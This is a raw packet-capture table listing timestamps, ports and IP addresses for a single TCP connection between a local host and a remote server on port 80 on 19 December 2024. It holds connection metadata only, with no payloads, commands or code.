Dec 19, 2024 08:21:17.341846943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:17.461739063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.933779001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.933880091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.933940887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:18.934407949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.934482098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.934516907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.934531927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:18.936745882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.936815023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.936814070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:18.936852932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.936893940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:18.940021992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.940140963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:18.940187931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.053627968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.053709984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.053774118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.057867050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.057971001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.058017015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.135262966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.135349989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.135473967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.137697935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.137811899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.137862921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.146167040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.146338940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.146395922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.154557943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.154686928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.154736042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.162956953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.163084030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.163140059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.171454906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.171536922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.171590090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.179769993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.179889917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.179946899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.188288927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.188441992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.188492060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.196748972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.196809053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.196858883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.203896046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.203984976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.204036951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.211113930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.211240053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.211289883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.218525887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.227437019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.227492094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.255099058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.255182028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.255232096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.327081919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.327235937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.327297926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.329577923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.330573082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.330609083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.330734968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.335937023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.335994005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.335999012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.340810061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.340872049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.340958118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.345901966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.345959902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.346029043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.350977898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.351015091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.351028919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.355693102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.355771065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.355793953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.360558033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.360615015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.360687971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.365726948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.365829945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.365900040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.370352030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.370419979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.370507956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.375233889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.375297070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.375297070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.380084038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.380142927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.380187035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.384948969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.385015965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.385041952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.388361931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.388438940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.388484001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.391886950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.391943932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.391983032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.395483017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.395534039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.395561934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.399162054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.399215937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.399261951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.402453899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.402507067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.402513981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.405895948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.405956984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.406021118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.409590006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.409631968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.409647942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.412904978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.412949085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.413029909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.416485071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.416536093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.447094917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.447169065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.447218895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.448693991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.448838949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.448885918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.452143908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.497606039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.519109964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.519216061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.519290924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.520549059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.520664930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.520703077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.523574114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.524676085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.524702072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.524739027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.527596951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.527637005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.527745962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.530524015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.530579090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.530591965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.533427000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.533488035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.533499956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.536222935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.536335945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.536345959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.538911104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.538965940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.539068937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.541551113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.541604042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.541604996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.544053078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.544101954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.544154882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.546593904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.546642065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.546710968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.549197912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.549267054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.549345016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.551768064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.551824093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.551865101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.554301023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.554394007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.554465055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.556878090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.556938887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.556972980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.559612989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.559662104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.559717894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.562028885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.562073946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.562119961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.564666033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.564711094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.564852953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.567154884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.567203999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.567240953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.569696903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.569746971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.569789886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.572288036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.572336912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.572372913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.574335098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.574356079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.574388981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.576004982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.576049089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.576122999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.577846050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.577887058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.577963114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.579699039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.579750061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.579821110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.581592083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.581641912 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.581727028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.583635092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.583683968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.583733082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.585449934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.585489035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.585495949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.587187052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.587239027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.587294102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.589011908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.589059114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.589114904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.590853930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.590897083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.590903044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.592734098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.592778921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.592839003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.594661951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.594713926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.594722033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.611560106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.611618042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.611640930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.612371922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.612416983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.612520933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.614263058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.614312887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.614929914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.615046978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.615103960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.616744041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.616864920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.616906881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.618602991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.669476986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.711236954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.711388111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.711431980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.712002993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.712059975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.712106943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.713638067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.713920116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.713977098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.715377092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.715509892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.715565920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.717113972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.717210054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.717266083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.718291044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.718419075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.718467951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.719849110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.719906092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.719949007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.721343040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.721512079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.721560955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.722858906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.723004103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.723054886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.724401951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.724494934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.724539042 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.726281881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.726413012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.726465940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.727462053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.727571011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.727622032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.728993893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.729108095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.729149103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.730499983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.730609894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.730654955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.732012033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.732121944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.732168913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.733546019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.733663082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.733707905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.735074997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.735187054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.735234976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.736598969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.736669064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.736709118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.738161087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.738198042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.738240957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.739636898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.739749908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.739795923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.741159916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.741305113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.741355896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.745316029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.745420933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.745456934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.745469093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.745495081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.745537996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.745707035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.745809078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.745882988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.747253895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.747389078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.747438908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.758949995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759006977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759042025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759058952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.759120941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759155035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759170055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.759207010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759246111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759257078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:19.759464025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759500980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:19.759535074 CET	80	49720	194.87.47.113	192.168.2.10
